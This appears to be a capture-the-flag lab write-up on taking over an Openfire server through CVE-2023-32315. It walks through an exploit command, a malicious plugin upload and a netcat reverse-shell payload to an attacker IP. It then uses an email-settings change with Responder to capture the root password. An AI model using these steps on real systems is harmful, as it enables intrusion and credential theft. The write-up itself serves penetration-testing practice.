# 9090

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f96d469b437a61929a4fe74f4cef660f01f2b968%2F40f47544d336364a50ba48f232487805.png?alt=media) We have openfire.

Using this [exploit](https://github.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT)

```
python3 CVE-2023-32315.py -u http://192.168.243.96:9090
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-cde3b4ed7def9edf9ad42c0bdb015ab3879a6a23%2F55835e0d982986bc9bf8e3ed8ab45347.png?alt=media)

We can login with `hugme:hugmeNOW` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-393b23cba1ef7bbe24f1584ad12b886a93d2c9be%2F7b2aee78dcdf325199e7e647d8eb0d9d.png?alt=media)

uploading openfire-management-tool-plugin.jar file from <https://github.com/miko550/CVE-2023-32315> ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3d4860d00363eda7f810dcbfb82ce7387208996c%2F22be113f679c54be2daf826ad1f386fd.png?alt=media)

Now in server->server settings->Management tool![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-97bac9a635575a6fcf8176e0afadd2959dc81321%2F728c041465c14592eebc3f40386d38aa.png?alt=media) Enter password `123`: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-842cf39761be116ae84a1cc003a531bf04a4c999%2Fda915ad6eeda925c65bc0da7a31e60ce.png?alt=media) We have command execution.

Using payload `busybox nc 192.168.45.229 9090 -e bash`: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-20c721cce98677bdf7b2605922ef802a014596bd%2F3ff74d764cd6260eaee83e35af9f3a22.png?alt=media)

And listening using penelope: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d59086d80ea6a535fd8dca43eed082f1f9dbc95f%2F19eef36e0fd59de720bb726cd6fdc9cd.png?alt=media) We have a shell as openfire.

We can change admin password too: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-2f10eb58d0a997631f5f1c2eda1c710036d69de2%2Fb1f73323114dd04f99b55a814569e464.png?alt=media)

We can go to email settings: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3d5d008888e1b18806cb83d832a669472cb4e766%2F81c267298107a7e702221f968e32a5ed.png?alt=media) We can change the host and save. The root password is already filled. ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-b09148ef2a7231a0d1110431d62a2b641a3909f8%2F9d30a0f60c00c1f1302eb1559fd7b491.png?alt=media) Run responder:

```
sudo responder -I tun0 -A
```

Now send a test mail: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-5de9a23093cb471c9011fb95a68401af05721942%2F202044c374b5d73d3a87a15b85745261.png?alt=media)

We get the root password: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8ed116b91e7f065eb4935be7083eb9c950784319%2F685e6a0e4d3e32f6116f3a50b462ce31.png?alt=media) Now we can switch to root with `su root`: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-e4f0e981728fd5c15acc5e0bc5ea65b0cde8dbc2%2Fc0b8d83418f8cface87a96edd28f821e.png?alt=media) We are root :)
